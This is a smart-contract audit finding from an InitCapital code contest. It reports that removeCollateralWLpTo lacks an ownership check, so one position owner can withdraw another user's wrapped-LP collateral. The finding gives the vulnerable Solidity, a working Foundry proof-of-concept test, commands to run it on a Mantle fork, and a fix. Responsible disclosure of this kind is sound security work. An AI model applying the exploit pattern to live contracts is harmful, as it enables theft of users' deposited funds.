c4-bot-2 commented 10 months ago

Lines of code

https://github.com/code-423n4/2023-12-initcapital/blob/main/contracts/core/InitCore.sol#L277 https://github.com/code-423n4/2023-12-initcapital/blob/main/contracts/core/PosManager.sol#L249-L268

Vulnerability details

Impact

Position's owner can steal other users Wlp collateral, as long as it doesn't completely withdraw all the balance of tokenId LP.

Proof of Concept

When users call decollateralizeWLp function from InitCore, as long as Wlp is whitelisted and the mode's decollateralize is not paused, it will trigger POS_MANAGERS.removeCollateralWLpTo, providing all the information provided by users.

https://github.com/code-423n4/2023-12-initcapital/blob/main/contracts/core/InitCore.sol#L264-L279

    function decollateralizeWLp(uint _posId, address _wLp, uint _tokenId, uint _amt, address _to)
        public
        virtual
        onlyAuthorized(_posId)
        ensurePositionHealth(_posId)
        nonReentrant
    {
        IConfig _config = IConfig(config);
        // check mode status
        _require(_config.getModeStatus(_getPosMode(_posId)).canDecollateralize, Errors.DECOLLATERALIZE_PAUSED);
        // check wLp is whitelisted
        _require(_config.whitelistedWLps(_wLp), Errors.TOKEN_NOT_WHITELISTED);
        // update and take _wLp from position to _to
>>>     uint amtDecoll = IPosManager(POS_MANAGER).removeCollateralWLpTo(_posId, _wLp, _tokenId, _amt, _to);
        emit Decollateralize(_wLp, _posId, _to, amtDecoll);
    }

Inside POS_MANAGER.removeCollateralWLpTo, it will trigger _harvest to claim the reward for the posId and unwrap the token from the _wLp contract, sending it to the provided receiver address. However, this function doesn't check if this _posId is the provider of this collateral. As long as it doesn't completely drain the balance of LP, arbitrary posId owners can steal other users' wlp's tokenId balance and rewards provided to the POS_MANAGER.

    function removeCollateralWLpTo(uint _posId, address _wLp, uint _tokenId, uint _amt, address _receiver)
        external
        onlyCore
        returns (uint)
    {
        PosCollInfo storage posCollInfo = __posCollInfos[_posId];
        // NOTE: balanceOfLp should be 1:1 with amt
        uint newWLpAmt = IBaseWrapLp(_wLp).balanceOfLp(_tokenId) - _amt;
>>>     if (newWLpAmt == 0) {
            _require(posCollInfo.ids[_wLp].remove(_tokenId), Errors.NOT_CONTAIN);
            posCollInfo.collCount -= 1;
            if (posCollInfo.ids[_wLp].length() == 0) {
                posCollInfo.wLps.remove(_wLp);
            }
            isCollateralized[_wLp][_tokenId] = false;
        }
        _harvest(_posId, _wLp, _tokenId);
        IBaseWrapLp(_wLp).unwrap(_tokenId, _amt, _receiver);
        return _amt;
    }

Coded PoC :

Add the following test to /2023-12-initcapital/tests/wrapper/TestWLp.sol :

    function testStealWlpOther() public {
        uint amt = 100000000;
        uint withdrawAmt = amt - 1;
        uint alicePosId = _openPositionWithLp(ALICE, amt);
        uint bobPosId = _openPositionWithLp(BOB, 1);
        vm.startPrank(BOB, BOB);
        initCore.decollateralizeWLp(bobPosId, address(mockWLpUniV2), 1, withdrawAmt, BOB);
        vm.stopPrank();
        assertEq(positionManager.getCollWLpAmt(alicePosId, address(mockWLpUniV2), 1), amt - withdrawAmt);
        assertEq(IERC20(lp).balanceOf(BOB), withdrawAmt);
    }

Run the test :

anvil -f https://rpc.mantle.xyz --chain-id 5000
forge test --match-contract TestWLp --match-test testStealWlpOther -vvv

It can be observed that as long as bob own posId, it can steal alice wlp collateral.

Tools Used

Manual review

Recommended Mitigation Steps

Add check inside removeCollateralWLpTo to make sure the posId is the holder of wlps's tokenId.

    function removeCollateralWLpTo(uint _posId, address _wLp, uint _tokenId, uint _amt, address _receiver)
        external
        onlyCore
        returns (uint)
    {
        PosCollInfo storage posCollInfo = __posCollInfos[_posId];
+      _require(posCollInfo.ids[_wlp].contains(_tokenId), Errors.NOT_CONTAIN);
        // NOTE: balanceOfLp should be 1:1 with amt
        uint newWLpAmt = IBaseWrapLp(_wLp).balanceOfLp(_tokenId) - _amt;
        if (newWLpAmt == 0) {
            _require(posCollInfo.ids[_wLp].remove(_tokenId), Errors.NOT_CONTAIN);
            posCollInfo.collCount -= 1;
            if (posCollInfo.ids[_wLp].length() == 0) {
                posCollInfo.wLps.remove(_wLp);
            }
            isCollateralized[_wLp][_tokenId] = false;
        }
        _harvest(_posId, _wLp, _tokenId);
        IBaseWrapLp(_wLp).unwrap(_tokenId, _amt, _receiver);
        return _amt;
    }

Assessed type

Access Control

sashik-eth commented 10 months ago

Dup od #31

c4-judge commented 10 months ago

hansfriese marked the issue as satisfactory